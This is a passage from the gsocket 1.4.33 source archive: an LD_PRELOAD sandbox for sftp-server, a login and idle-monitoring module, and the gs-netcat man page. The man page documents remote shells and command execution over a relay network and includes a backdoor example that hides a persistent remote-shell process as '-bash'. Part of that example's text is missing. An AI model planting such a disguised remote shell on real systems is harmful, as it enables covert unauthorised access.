cygwin_internal(CW_HOOK, "accept", fci_accept);
cygwin_internal(CW_HOOK, "accept4", fci_accept4);
cygwin_internal(CW_HOOK, "gethostbyname", fci_gethostbyname);
cygwin_internal(CW_HOOK, "getaddrinfo", fci_getaddrinfo);
return 0;
}
#endif
gsocket-1.4.33/tools/gsocket_uchroot_dso.c 0000664 0000000 0000000 00000043354 14072625040 0020625 0 ustar 00root root 0000000 0000000 /*
* gcc -shared -fPIC -O2 uchroot.c -o uchroot.so -ldl
* LD_PRELOAD=$PWD/uchroot.so
*
* OSX
* gcc -shared -fPIC -o uchroot.dylib uchroot.c
* DYLD_INSERT_LIBRARIES=$PWD/gsocket_uchroot_dso.so.0 DYLD_FORCE_FLAT_NAMESPACE=1
*
* export GSOCKET_DEBUG=1 # enable debug output to stderr
*
* Future ideas:
* - could hijack 'pwd' (realpath) and return "/THC-ROOT/". This means sftp'd
* pwd command would not leak $CWD directory name [does anyone care?]
*/
#if 0
List of sftp requests and their corresponding libc calls:
The sftp-server should be limited (-p whitelist) to calls from this list
that are hijacked and check.
N/R == Not Reached. A call that can not be reached without having
gone through a previous call that got checked:
e.g. 'close' is only reached if 'open' was granted and thus checking
'close' is not needed as. Hijacked 'open' would have checked for access
permission already).
SFTP-cmd linux OSX SFTP-client
-------------------------------------------------------
opendir opendir() opendir$INODE64 ls /tmp
stat __xstat() stat$INODE64() cd /tmp
lstat __lxstat() lstat$INODE64() ls -al /tmp/exists.txt
open open() % get /tmp/exists.txt
mkdir mkdir() % mkdir /tmp/notexists
remove unlink() % rm /tmp/exists.txt
rmdir rmdir() % rmdir /tmp/exists
symlink symlink() % ln -s /etc/hosts etc-hosts-new
hardlink link() % ln /etc/hosts etc-hosts-new
posix-rename rename() % rename /tmp/exists.txt /tmp/0wned.txt
statvfs statvfs() % gs-mount (OSX)
setstat chmod() % chmod 755 /tmp/exists.txt
fsetstat N/R [open]
fstat N/R [open]
read N/R [open]
close N/R [open]
readdir N/R [opendir]
realpath N/R [opendir]
write N/R [open]
read N/R [open]
close N/R [open]
SECURITY: lstat() allows partial match. Many clients use lstat()
to traverse down the directory structure starting from '/'. Returning
EACCES for anything outside the $CWD would break clients who call:
lstat(/home/) -> lstat(/home/user) -> lstat(/home/user/dir1)))
The last call is allowed but the first 2 would not. However, if we
return EACCES to lstat(/home/) then the client would fail even
that the client should not.
#endif /* END explanation */
#define _GNU_SOURCE
#ifdef HAVE_CONFIG_H
# include
#endif
#include
#include
#include
#include
#include
#ifdef HAVE_UNISTD_H
# include
#endif
#include
#include
#include
#include
#ifdef __CYGWIN__
# include
# include
#endif
// debian-hurd does not define PATH_MAX (and has no limit on filename length)
#ifndef PATH_MAX
# define GS_PATH_MAX 4096
#else
# define GS_PATH_MAX PATH_MAX
#endif
static size_t clen;
static char rp_cwd[GS_PATH_MAX + 1];
static int is_init;
static char rp_buf[GS_PATH_MAX + 1];
static int is_debug = 1;
static int is_no_hijack;
#define DEBUGF(a...) do { if (is_debug == 0){break;} fprintf(stderr, "LDP %d:", __LINE__); fprintf(stderr, a); }while(0)
#define D_BRED(a) "\033[1;31m"a"\033[0m"
#ifdef __CYGWIN__
# define RTLD_NEXT dl_handle
static void *dl_handle;
static void
thc_init_cyg(void)
{
dl_handle = dlopen("cygwin1.dll", RTLD_LAZY);
}
#else /* !__CYGWIN__ */
static void thc_init_cyg(void) {} // Do nothing.
#endif
static void
thc_init(void)
{
if (is_init)
return;
thc_init_cyg();
DEBUGF("%s called\n", __func__);
if (getenv("GSOCKET_DEBUG"))
is_debug = 1;
/* OSX's getcwd() calls stat() */
char *ptr;
#if defined(__sun) && defined(HAVE_OPEN64)
// This is solaris 10
ptr = getcwd(NULL, GS_PATH_MAX + 1); // solaris10 segfaults if size is 0...
#else
ptr = getcwd(NULL, 0);
#endif
if (ptr == NULL)
exit(123);
if (realpath(ptr, rp_cwd) == NULL)
exit(124);
DEBUGF("CWD = %s\n", rp_cwd);
clen = strlen(rp_cwd);
is_init = 1;
}
/*
* 'name' must be the absolute and resolved path.
* Return 0 if access is allowed
*
* fullmatch is set to 0 for lstat() to allow lstat on directories
* that are below current CWD.
*/
static int
thc_access(const char *name, const char *fname, int fullmatch)
{
int len;
// Access to /dev/null always allowed...
if (strcmp(name, "/dev/null") == 0)
return 0;
// if (strcmp(name, "/AppleInternal") == 0)
// return 0;
// if (strcmp(name, "/dev/autofs_nowait") == 0)
// return 0;
if (strcmp(name, ".") == 0)
return 0;
/* Check if name starts with cwd */
len = strlen(name);
if (len >= clen)
{
if (memcmp(name, rp_cwd, clen) == 0)
return 0;
} else {
if (fullmatch == 0)
{
// HERE: lstat() -> Use partial match.
// lstat(/home) ALLOWED if CWD==/home/user/downloads
if ((len >= 1) && memcmp(name, rp_cwd, len) == 0)
return 0;
}
}
DEBUGF(D_BRED("DENIED")" %s(%s)\n", fname, name);
errno = EACCES;
return -1;
}
/*
* Return the absolute path of 'path' or the part that does exist.
*/
static char *
thc_realpath(const char *fname, const char *path, char *rp)
{
char abpath[GS_PATH_MAX + 1];
const char *ptr;
char *res;
ptr = path;
res = realpath(ptr, rp);
/* realpath() fails if path does not exist.
* Return OK if part of path is within the CWD.
* Return EACCESS otherwise.
*
* mkdir ./doesnotexist -> ACCESS OK
* mkdir /tmp/doesnotexists -> EACCES
* From right side try to find file that does exist
* and then try to determine thc-access() from the existing
* file to find out of EACCES or ENOTFOUND should be returned.
* Allowed: /home/alice/x.c
* Denied : /home/bob/y.c
*/
if (res == NULL)
{
/* Local Copy */
snprintf(abpath, sizeof abpath, "%s", path);
ptr = abpath;
char *next;
while (1)
{
res = NULL;
next = strrchr(ptr, '/');
if (next == NULL)
break;
if (strlen(next) <= 0)
break;
*next = '\0';
if (*ptr == 0)
ptr = "/";
/* HERE: either '/' or '/name' */
DEBUGF("Checking if rp=%s exists [from %s].\n", ptr, path);
res = realpath(ptr, rp);
if (res != NULL)
break;
if (ptr[1] == 0)
break;
/* HERE: Still no existing directory found */
}
if (res == NULL)
{
DEBUGF("%s-realpath(%s [from %s]) "D_BRED("FAILED")" (errno forced to %s)\n", fname, ptr, path, strerror(errno));
return "/"; //NULL;
}
/* HERE: It exists! Return part of the path that exist */
}
DEBUGF("thc-RealPath: %s [was %s->%s] (DONE)\n", rp, path, ptr);
return rp;
}
/* Check for special file (like /dev/null) & return */
#define ALLOW_FILE_RETURN(xdst, xfile, xmatch) if (strcmp(xfile, xmatch) == 0) { memcpy(xdst, xmatch, strlen(xmatch) + 1); return xdst; }
/*
* Return the (real) directory (without file part).
* Return 0 on success.
*/
static char *
thc_realfile(const char *fname, const char *file, char *dst)
{
char dirn[GS_PATH_MAX + 1];
char *ptr;
DEBUGF("thc_realfile(func=%s, file=%s, dst)\n", fname, file);
/* Normally return the directory but as a hack and for some special
* files we return the file: thc_access is also whitelistening those
* files to allow access.
*/
ALLOW_FILE_RETURN(dst, file, "/dev/null");
// ALLOW_FILE_RETURN(dst, file, "/dev/autofs_nowait");
if (strlen(file) >= sizeof dirn)
return NULL;
snprintf(dirn, sizeof dirn, "%s", file);
ptr = dirname(dirn);
if (thc_realpath(fname, ptr, dst) == NULL)
return NULL;
DEBUGF("Returning '%s'\n", dst);
return dst;
}
#if defined(linux) || defined(__GNU__)
typedef int (*real_funcintifv_t)(int ver, const char *path, void *buf);
static int real_funcintifv(const char *fname, int ver, const char *path, void *buf) {return ((real_funcintifv_t)dlsym(RTLD_NEXT, fname))(ver, path, buf);}
static int
thc_funcintifv(const char *fname, int ver, const char *path, void *buf, int fullmatch)
{
DEBUGF("%s(%s)\n", fname, path);
thc_init();
if (thc_realpath(fname, path, rp_buf) == NULL)
return -1;
if (thc_access(rp_buf, fname, fullmatch) != 0)
return -1;
return real_funcintifv(fname, ver, path, buf);
}
int
__xstat64(int ver, const char *path, struct stat64 *buf)
{
return thc_funcintifv(__func__, ver, path, buf, 1 /* FULL MATCH */);
}
int
__xstat(int ver, const char *path, struct stat *buf)
{
return thc_funcintifv(__func__, ver, path, buf, 1 /* FULL MATCH */);
}
// E.g. we are in /home/user and do 'mkdir dir' then sftp-server will:
// lxstat("/home") -> lxstat("/home/user") -> lxstat("/home/user/dir")
int
__lxstat64(int ver, const char *path, struct stat64 *buf)
{
return thc_funcintifv(__func__, ver, path, buf, 0 /* ALLOW PARTIAL MATCH */);
}
int
__lxstat(int ver, const char *path, struct stat *buf)
{
return thc_funcintifv(__func__, ver, path, buf, 0 /* ALLOW PARTIAL MATCH */);
}
#endif /* !linux */
/*
* Redirect stub of construct "int func(const char *)"
*/
typedef int (*real_funcintf_t)(const char *file);
static int real_funcintf(const char *fname, const char *file) {return ((real_funcintf_t)dlsym(RTLD_NEXT, fname))(file); }
static int
thc_funcintf(const char *fname, const char *file)
{
DEBUGF("%s(%s)\n", fname, file);
thc_init();
if (thc_realpath(fname, file, rp_buf) == NULL)
return -1;
if (thc_access(rp_buf, fname, 1) != 0)
return -1;
return real_funcintf(fname, rp_buf);
}
#ifndef __CYGWIN__
int
unlink(const char *file)
{
return thc_funcintf(__func__, file);
}
int
rmdir(const char *file)
{
return thc_funcintf(__func__, file);
}
#endif
/*
* Redirect stub of construct "int func(const char *, const char *)"
*/
typedef int (*real_funcintff_t)(const char *old, const char *new);
static int real_funcintff(const char *fname, const char *old, const char *new) {return ((real_funcintff_t)dlsym(RTLD_NEXT, fname))(old, new); }
static int
thc_funcintff(const char *fname, const char *old, const char *new)
{
DEBUGF("%s(%s, %s)\n", fname, old, new);
thc_init();
if (thc_realpath(fname, old, rp_buf) == NULL)
return -1;
if (thc_access(rp_buf, fname, 1) != 0)
return -1;
if (thc_realpath(fname, new, rp_buf) == NULL)
return -1;
if (thc_access(rp_buf, fname, 1) != 0)
return -1;
/* rp_buf holds the directory [not the filename, which may not exist] */
return real_funcintff(fname, old, new);
}
#ifndef __CYGWIN__
int
rename(const char *old, const char *new)
{
return thc_funcintff(__func__, old, new);
}
int
link(const char *path1, const char *path2)
{
return thc_funcintff(__func__, path1, path2);
}
int
symlink(const char *path1, const char *path2)
{
return thc_funcintff(__func__, path1, path2);
}
#endif
/*
* Redirect stub of construct "int func(const char *, void *)"
*/
typedef int (*real_funcintfv_t)(const char *file, void *ptr);
static int real_funcintfv(const char *fname, const char *file, void *ptr) {return ((real_funcintfv_t)dlsym(RTLD_NEXT, fname))(file, ptr); }
static int
thc_funcintfv(const char *fname, const char *file, void *ptr, int fullmatch)
{
int err = 0;
if (is_no_hijack)
return real_funcintfv(fname, file, ptr);
is_no_hijack = 1;
thc_init();
if (thc_realpath(fname, file, rp_buf) == NULL)
err = -1;
else if (thc_access(rp_buf, fname, fullmatch) != 0)
err = -1;
if (err == 0)
err = real_funcintfv(fname, file, ptr);
is_no_hijack = 0;
DEBUGF("returning %d\n", err);
return err;
}
#ifndef __CYGWIN__
int
statvfs64(const char *path, void *buf)
{
return thc_funcintfv(__func__, path, buf, 1);
}
int
statvfs(const char *path, void *buf)
{
return thc_funcintfv(__func__, path, buf, 1);
}
/*
* Oddity that on OSX any call to stat() can not be directed to the real stat()
* but needs to be directed to stat$INODE64().
*
* OSX : stat -> stat$INODE64 <<<-- Special Case
* OSX : lstat -> lstat$INODE64 <<<-- Special Case
* SOL10: stat64() -> stat64()
* SOL11: stat -> stat()
* Linux: __xstat() -> __xstat()
*/
#ifdef __APPLE__
# define STATFNAME "stat$INODE64"
# define LSTATFNAME "lstat$INODE64"
#endif
#ifdef __sun
# ifdef HAVE_OPEN64
# define IS_SOL10 1 // Solaris 10
# else
# define IS_SOL11 1 // Solaris 11
# endif
#endif
#ifndef STATFNAME
# define STATFNAME "stat"
#endif
#ifndef LSTATFNAME
# define LSTATFNAME "lstat"
#endif
/*
* Solaris10 wants stat64
* Solaris11 wants stat()
* OSX wants stat()
*/
/*
* OSX & Solaris
* (linux and cygwin call thc_funcintfv() without thc_stat())
*/
static int
thc_stat(const char *fname, const char *path, void *buf)
{
DEBUGF("%s(%s, %p) (no_hijack=%d)\n", fname, path, buf, is_no_hijack);
/* allow stat("/"); */
if (strcmp(path, "/") == 0)
{
int ret;
is_no_hijack = 1;
ret = real_funcintfv(fname, path, buf);
is_no_hijack = 0;
return ret;
}
return thc_funcintfv(fname, path, buf, 1);
}
#if !defined(IS_SOL11) && !defined(__FreeBSD__) && !defined(stat64) && !defined(__APPLE__)
// Not Sol11, Not FBSD and stat64 is not a define itself (as it is on alpine Linux)
int stat64(const char *path, struct stat64 *buf) {return thc_stat(__func__, path, buf); }
#endif
#if !defined(IS_SOL10)
/* Solaris cant have stat64() and stat() defined */
int stat(const char *path, struct stat *buf) {return thc_stat(STATFNAME, path, buf); }
#endif /* !IS_SOL10 */
#endif /* !__CYGWIN__ */
static int
thc_lstat(const char *fname, const char *path, void *buf)
{
DEBUGF("%s(%s, %p) (no_hijack=%d)\n", fname, path, buf, is_no_hijack);
return thc_funcintfv(fname, path, buf, 0 /* ALLOW PARTIAL MATCH */);
}
#ifndef __CYGWIN__
#if !defined(IS_SOL11) && !defined(__FreeBSD__) && !defined(stat64) && !defined(__APPLE__)
int lstat64(const char *path, struct stat64 *buf) {return thc_lstat(__func__, path, buf); }
#endif
#if !defined(IS_SOL10)
int lstat(const char *path, struct stat *buf) {return thc_lstat(LSTATFNAME, path, buf); }
#endif
#endif /* !__CYGWIN__ */
/*
* Redirect stub of construct "void *func(const char *)"
*/
typedef void *(*real_funcptrf_t)(const char *file);
static void *real_funcptrf(const char *fname, const char *file) {return ((real_funcptrf_t)dlsym(RTLD_NEXT, fname))(file); }
static void *
thc_funcptrf(const char *fname, const char *file)
{
void *ret_ptr = NULL;
int err = 0;
DEBUGF("%s(%s)\n", fname, file);
if (is_no_hijack)
return real_funcptrf(fname, rp_buf);
is_no_hijack = 1;
thc_init();
if (thc_realpath(fname, file, rp_buf) == NULL)
err = -1;
else if (thc_access(rp_buf, fname, 1) != 0)
err = -1;
if (err != 0)
ret_ptr = NULL;
else
ret_ptr = real_funcptrf(fname, rp_buf);
is_no_hijack = 0;
return ret_ptr;
}
#ifndef __CYGWIN__
void *opendir64(const char *file) {return thc_funcptrf(__func__, file); }
void *opendir(const char *file) {return thc_funcptrf(__func__, file); }
void *opendir$INODE64(const char *file) {return thc_funcptrf(__func__, file); } // OSX
#endif
/*
* Redirect stub of construct "int func(const char *, mode_t)"
*/
typedef int (*real_funcintfm_t)(const char *file, mode_t mode);
static int real_funcintfm(const char *fname, const char *file, mode_t mode) {return ((real_funcintfm_t)dlsym(RTLD_NEXT, fname))(file, mode); }
static int
thc_funcintfm(const char *fname, const char *file, mode_t mode)
{
DEBUGF("%s(%s, %u)\n", fname, file, (unsigned int)mode);
thc_init();
if (thc_realfile(fname, file, rp_buf) == NULL)
return -1;
if (thc_access(rp_buf, fname, 1) != 0)
return -1;
return real_funcintfm(fname, file, mode);
return -1;
}
static int
fci_mkdir(const char *path, mode_t mode)
{
/*
* path could be absolute or relative (2x):
* "./test"
* "test"
* "/tmp/test"
*/
int ret;
is_no_hijack = 1;
ret = thc_funcintfm("mkdir", path, mode);
is_no_hijack = 0;
return ret;
}
#ifndef __CYGWIN__
int mkdir(const char *path, mode_t mode) {return fci_mkdir(path, mode); }
int chmod(const char *file, mode_t mode) {return thc_funcintfm(__func__, file, mode); }
#endif
typedef int (*real_open_t)(const char *file, int flags, mode_t mode);
static int real_open(const char *file, int flags, mode_t mode) {return ((real_open_t)dlsym(RTLD_NEXT, "open"))(file, flags, mode); }
static int
thc_open(const char *fname, const char *file, int flags, mode_t mode)
{
int err = 0;
DEBUGF("open(%s)\n", file);
is_no_hijack = 1;
thc_init();
if (thc_realfile(fname, file, rp_buf) == NULL)
err = -1;
else if (thc_access(rp_buf, fname, 1) != 0)
err = -1;
if (err == 0)
err = real_open(file, flags, mode);
is_no_hijack = 0;
return err;
}
#ifndef __CYGWIN__
int open64(const char *file, int flags, mode_t mode) {return thc_open(__func__, file, flags, mode); }
int open(const char *file, int flags, mode_t mode) {return thc_open(__func__, file, flags, mode); }
#endif
#ifdef __CYGWIN__
static int fci_open(const char *file, int flags, mode_t mode) {return thc_open("open", file, flags, mode); }
static int fci_chmod(const char *file, mode_t mode) {return thc_funcintfm("chmod", file, mode); }
static void *fci_opendir(const char *file) {return thc_funcptrf("opendir", file); }
static int fci_lstat(const char *path, void *buf) {return thc_lstat("lstat", path, buf); }
static int fci_stat(const char *path, void *buf) {return thc_funcintfv("stat", path, buf, 1); }
static int fci_statvfs(const char *path, void *buf) {return thc_funcintfv("statvfs", path, buf, 1); }
static int fci_rename(const char *old, const char *new) {return thc_funcintff("rename", old, new); }
static int fci_link(const char *path1, const char *path2) {return thc_funcintff("link", path1, path2); }
static int fci_symlink(const char *path1, const char *path2) {return thc_funcintff("symlink", path1, path2); }
static int fci_unlink(const char *file) {return thc_funcintf("unlink", file); }
static int fci_rmdir(const char *file) {return thc_funcintf("rmdir", file); }
/* 'constructors' are executed when lib is loaded */
static void
__attribute__((constructor))
fci_init(void)
{
cygwin_internal(CW_HOOK, "mkdir", fci_mkdir);
cygwin_internal(CW_HOOK, "chmod", fci_chmod);
cygwin_internal(CW_HOOK, "open", fci_open);
cygwin_internal(CW_HOOK, "opendir", fci_opendir);
cygwin_internal(CW_HOOK, "lstat", fci_lstat);
cygwin_internal(CW_HOOK, "stat", fci_stat);
cygwin_internal(CW_HOOK, "statvfs", fci_statvfs);
cygwin_internal(CW_HOOK, "rename", fci_rename);
cygwin_internal(CW_HOOK, "link", fci_link);
cygwin_internal(CW_HOOK, "symlink", fci_symlink);
cygwin_internal(CW_HOOK, "unlink", fci_unlink);
cygwin_internal(CW_HOOK, "rmdir", fci_rmdir);
}
#endif
gsocket-1.4.33/tools/ids.c 0000664 0000000 0000000 00000013277 14072625040 0015336 0 ustar 00root root 0000000 0000000 /*
* For GS-NETCAT.
*
* Monitor various aspect of the system (such as new user login
* and idle time of users).
*/
#include "common.h"
#include "pkt_mgr.h"
#include "utils.h"
struct utmp_db_user
{
char user[UT_NAMESIZE];
char msg[128];
int idle;
int idle_old;
int token;
};
GS_LIST udb;
static int is_udb_init;
static int
utmp_db_find(const char *needle, struct utmp_db_user **uret)
{
GS_LIST_ITEM *li = NULL;
while (1)
{
li = GS_LIST_next(&udb, li);
if (li == NULL)
break;
struct utmp_db_user *u = (struct utmp_db_user *)li->data;
if (strcmp(u->user, needle) != 0)
continue;
// User Name matches the needle
*uret = u;
return 0;
}
*uret = NULL;
return -1; // User Name not found
}
static struct utmp_db_user *
utmp_db_add(const char *user, int idle, int token)
{
struct utmp_db_user *new;
DEBUGF_C("Adding new user %s with idle %d\n", user, idle);
new = malloc(sizeof *new);
new->idle = idle;
new->idle_old = 0;
new->token = token;
snprintf(new->user, sizeof new->user, "%s", user);
GS_LIST_add(&udb, NULL, new, new->idle);
return new;
}
/*
*/
void
GS_IDS_utmp_free(void)
{
GS_LIST_ITEM *li = NULL;
while (1)
{
li = GS_LIST_next(&udb, NULL);
if (li == NULL)
break;
XFREE(li->data);
GS_LIST_del(li);
}
is_udb_init = 0;
}
// When to consider a user transitioning from IDLE to not IDLE
#ifdef DEBUG
#define IDLE_THRESHOLD (10)
#else
#define IDLE_THRESHOLD (60 * 60) // 1h
#endif
/*
* Call every second.
* Compare DB from memory with utmp file.
*
* Find any new user.
* Find any known user that is no longer idle.
* Find least idle user.
*/
void
GS_IDS_utmp(GS_LIST *new_login, GS_LIST *new_active, char **least_idle, int *sec_idle, int *n_users)
{
struct utmpx *ut;
int idle;
int ret;
struct stat s;
char buf[MAX(UT_NAMESIZE, 128)];
int token = gopt.tv_now.tv_sec;
if (is_udb_init == 0)
{
GS_LIST_init(&udb, 0);
}
*least_idle = NULL;
*sec_idle = INT_MAX;
gettimeofday(&gopt.tv_now, NULL);
setutxent();
while ((ut = getutxent()) != NULL)
{
if (ut->ut_type != USER_PROCESS)
continue;
ut->ut_user[UT_NAMESIZE - 1] = 0x00; // be sure for strcmp...
// Get idle time of the user's tty
snprintf(buf, sizeof buf, "/dev/%s", ut->ut_line);
stat(buf, &s);
idle = MAX(0, gopt.tv_now.tv_sec - s.st_atime);
struct utmp_db_user *u;
snprintf(buf, sizeof buf, "%s", ut->ut_user); // -Wstringop-overflow
ret = utmp_db_find(buf, &u);
if (ret != 0)
{
// NOT found. Add user.
u = utmp_db_add(ut->ut_user, idle, token);
if (is_udb_init != 0)
{
snprintf(u->msg, sizeof u->msg, "%.20s [%.20s]", ut->ut_user, ut->ut_host[0]?ut->ut_host:"console");
DEBUGF("New Login detected '%s'\n", u->msg);
GS_LIST_add(new_login, NULL, u->msg, 0);
}
} else {
// Update idle if this is a new run over utmp.
// Otherwise u->idle will never get larger when user
// idles. Slower method would be to set all records
// u->idle to INT_MAX before while loop.
if (u->token != token)
{
u->token = token;
u->idle = idle;
}
// Update current user's idle if lower.
if (idle < u->idle)
{
// DEBUGF_W("Updating idle to %d of user %s\n", idle, u->user);
u->idle = idle;
}
}
XASSERT(u != NULL, "utmp entry is NULL\n");
if (idle > *sec_idle)
continue;
// HERE: least idle user (so far)
*sec_idle = idle;
*least_idle = u->user;
}
endutxent();
if (is_udb_init == 0)
goto done;
// Check which user has awoken (from IDLE to NOT IDLE)
GS_LIST_ITEM *li = NULL;
li = GS_LIST_next(&udb, NULL);
while (li != NULL)
{
if (li == NULL)
break;
struct utmp_db_user *u = (struct utmp_db_user *)li->data;
if (u->token != token)
{
// User in db is no longer in utmp. Remove from db.
DEBUGF("Removing DB user %s\n", u->user);
GS_LIST_ITEM *next = GS_LIST_next(&udb, li);
XFREE(li->data);
GS_LIST_del(li);
li = next;
continue;
}
if ((u->idle_old >= IDLE_THRESHOLD) && (u->idle < u->idle_old))
{
snprintf(u->msg, sizeof u->msg, "%.20s [idled for %d mins]", u->user, u->idle_old / 60);
GS_LIST_add(new_active, NULL, u->msg, 0);
DEBUGF_R("Now ACTIVE (was %d, now %d): '%s'\n", u->idle_old, u->idle, u->msg);
}
u->idle_old = u->idle;
li = GS_LIST_next(&udb, li);
}
done:
*n_users = udb.n_items;
is_udb_init = 1;
}
static void
add_log_str(struct _peer *p, uint8_t type, const char *str)
{
struct _pkt_app_log *log = malloc(sizeof *log);
log->type = type;
snprintf((char *)log->msg, sizeof log->msg, "%.62s", str);
GS_LIST_add(&p->logs, NULL, log, GS_LIST_ID_COUNT(&p->logs));
p->is_pending_logs = 1;
GS_SELECT_FD_SET_W(p->gs);
}
/*
* Report to any other connected GS-PEER (that is requesting IDS info)
* that a new GS user has logged in via gs-netcat.
*/
void
ids_gs_login(struct _peer *self_peer)
{
GS_LIST_ITEM *li = NULL;
struct _peer *other_peer;
while (1)
{
li = GS_LIST_next(&gopt.ids_peers, li);
if (li == NULL)
break;
other_peer = (struct _peer *)li->data;
if (self_peer == other_peer)
continue; // Do not send to myself
char buf[128];
snprintf(buf, sizeof buf, "[%d] GS login detected. Total Users: %d.", self_peer->id, gopt.peer_count);
add_log_str(other_peer, GS_PKT_APP_LOG_TYPE_INFO /*green*/, buf);
}
}
void
ids_gs_logout(struct _peer *self_peer)
{
GS_LIST_ITEM *li = NULL;
struct _peer *other_peer;
while (1)
{
li = GS_LIST_next(&gopt.ids_peers, li);
if (li == NULL)
break;
other_peer = (struct _peer *)li->data;
if (self_peer == other_peer)
continue; // Do not send to myself
char buf[128];
snprintf(buf, sizeof buf, "[%d] GS logout detected. Remaining Users: %d%s.", self_peer->id, gopt.peer_count - 1, (gopt.peer_count-1)==1?" {you}":"");
add_log_str(other_peer, GS_PKT_APP_LOG_TYPE_NOTICE /*yellow*/, buf);
}
}
gsocket-1.4.33/tools/ids.h 0000664 0000000 0000000 00000000407 14072625040 0015332 0 ustar 00root root 0000000 0000000 #ifndef __GS_IDS_H__
#define __GS_IDS_H__ 1
void GS_IDS_utmp(GS_LIST *new, GS_LIST *new_active, char **least_idle, int *sec_idle, int *n_users);
void ids_gs_login(struct _peer *self_peer);
void ids_gs_logout(struct _peer *self_peer);
#endif /* !__GS_IDS_H__ */ gsocket-1.4.33/tools/man_gs-netcat.h 0000664 0000000 0000000 00000026632 14072625040 0017303 0 ustar 00root root 0000000 0000000 const char *man_str = "\
\n\
GS-NETCAT(1) BSD General Commands Manual GS-NETCAT(1)\n\
\n\
NAME\n\
gs-netcat -- transfer data, forward traffic and execute commands on a\n\
remote host. Securely.\n\
\n\
SYNOPSIS\n\
gs-netcat [-rlgvqwCTSDiu] [-s secret] [-k keyfile] [-L logfile] [-d IP]\n\
[-p port] [-e cmd]\n\
\n\
DESCRIPTION\n\
The gs-netcat utility is a re-implementation of netcat. It allows two or\n\
more users to establish a secure TCP connection with each other in a sce-\n\
nario where all users are behind NAT/Firewall and would not be able to\n\
connect to each other directly. Typically a connection between one work-\n\
station and another workstation on a different Local Area Network.\n\
\n\
It uses the Global Socket Relay Network (GSRN) instead of direct TCP con-\n\
nections. Neither workstation needs to open a port in their firewall or\n\
accept incoming TCP connections.\n\
\n\
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256\n\
and a 4096 Prime. The GSRN sees only the encrypted traffic.\n\
\n\
Common uses include:\n\
\n\
o simple TCP proxies\n\
o PTY shell\n\
o File transfer\n\
o a SOCKS ProxyCommand for ssh(1)\n\
o and much, much more.\n\
\n\
OPTIONS\n\
-C Disable encryption and use clear-text instead. Use with caution.\n\
\n\
-d ip Destination IPv4 address for port forwarding.\n\
\n\
-D Daemon & Watchdog mode. Start gs-netcat as a background process\n\
and restart if killed.\n\
\n\
-e cmd Execute command and send output to the connected client. Needs\n\
-l.\n\
\n\
-g Generate a secure random password and output it to standard out-\n\
put.\n\
\n\
-i Interactive login shell. The server spawns a true PTY login\n\
shell. The client acts as a true PTY client (with Ctrl-C etc\n\
working). The client can terminate the session by typing 'Ctrl-e\n\
q' at any time or by typing 'exit'. The server supports multiple\n\
clients at the same time.\n\
\n\
-k file\n\
A file containing the password.\n\
\n\
-l Server/Listening mode. The default mode is client.\n\
\n\
-L file\n\
Log file [default: standard out]\n\
\n\
-p port\n\
Port to listen on or to forward traffic to [1-65535].\n\
\n\
-q Quiet mode. Do not output any warnings or errors.\n\
\n\
-r Receive-only. Do not send any data. Terminate when no more data\n\
is available for reading.\n\
\n\
-s secret\n\
A password chosen by the user. Both users need to use the same\n\
password to connect.\n\
\n\
-S Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5\n\
proxy. It allows multiple gs-netcat clients to (securely) relay\n\
traffic via the server. Needs -l.\n\
\n\
-T Use TOR. The gs-netcat tool will connect via TOR to the GSRN.\n\
This requires TOR to be installed and running. The IP and PORT of\n\
the TOR server can be set using environment variables.\n\
\n\
-u Use UDP instead of TCP for port forwarding. Needs -p.\n\
\n\
-v Prints status messages. Use -vv to be more verbose and -vvv to be\n\
insanely verbose.\n\
\n\
-w Client to wait for the listening server to become available.\n\
\n\
CONSOLE\n\
The interactive login shell ( -i ) has a command console. Pressing 'Ctrl-\n\
e c' (e for EEEElite) opens the command console. The command console dis-\n\
plays the following information:\n\
\n\
o Latency (in milliseconds) to the remote host\n\
o Warning when a user logs into the system or becomes active\n\
o Data throughput\n\
o File transfer logs\n\
Type 'help' for a list of available commands.\n\
\n\
FILETRANSFER\n\
File transfer is available from the command console. Files are trans-\n\
ferred with the permission and modification timestamp unchanged. Par-\n\
tially transferred files are re-started where the transfer was left off.\n\
The 'put' command is used for uploading:\n\
put foobar.txt\n\
put $HOME/foobar.txt\n\
put /tmp/*.log\n\
put $(find. -type f -name '*.c')\n\
(The above example shows Shell Variable substitution and word expansion)\n\
It is possible to limit the amount of path information that is sent as\n\
implied directories for each path you specify. You can insert a dot and a\n\
slash into the source path, like this:\n\
put /foo/./bar/baz.c\n\
That would create /tmp/bar/baz.c on the remote machine. The 'get' com-\n\
mand is used for downloading:\n\
get foobar.txt\n\
get $(find /var/./ -name '*.log')\n\
Transferring a directory automatically transfers all files and directo-\n\
ries within that directory (recursively):\n\
get /var/log\n\
get /\n\
The first command transfers all directories and files in /var/log/*. The\n\
latter command transfers the entire filesystem. Multiple get/put com-\n\
mands can be scheduled at the same time.\n\
\n\
EXAMPLES\n\
Example 1 - Listen for a new connection using the password 'MySecret':\n\
$ gs-netcat -s MySecret -l\n\
\n\
Connect with client using the same password:\n\
$ gs-netcat -s MySecret\n\
\n\
Example 2 - spawn a PTY login shell when a client connects:\n\
$ gs-netcat -s MySecret -l -i\n\
\n\
Log in to server's interactive shell:\n\
$ gs-netcat -s MySecret -i\n\
\n\
Example 3 - Execute a command when a client connects:\n\
$ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'\n\
\n\
Connect client to the server:\n\
$ gs-netcat -s MySecret\n\
\n\
Example 4 - Pipe data from client to server:\n\
$ gs-netcat -s MySecret -l -r >warez.tar.gz\n\
\n\
Client to read 'warez.tar.gz' and pipe it to the server.\n\
$ gs-netcat -s MySecret /dev/null || (GSOCKET_ARGS=\"-s MySecret3\n\
-liqD\" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)\n\
\n\
The '(...)' brackets start a sub-shell which is then replaced (by exec)\n\
with the gs-netcat process. The process is hidden (as -bash) from the\n\
process list.\n\
\n\
Client to connect to the backdoor:\n\
$ gs-netcat -s MySecret -i\n\
\n\
ENVIRONMENT\n\
The following environment variables can be set to control the behavior of\n\
gs-netcat\n\
\n\
GSOCKET_SOCKS_IP\n\
Specify the IP address of the TOR server (or any other SOCKS\n\
server). Default is 127.0.0.1.\n\
\n\
GSOCKET_SOCKS_PORT\n\
The port number of the TOR server (or any other SOCKS server).\n\
Default is 9050.\n\
\n\
GSOCKET_ARGS\n\
A string containing additional command line parameters. First the\n\
normal command line parameters are processed and then the command\n\
line parameters from GSOCKET_ARGS.\n\
\n\
SECURITY\n\
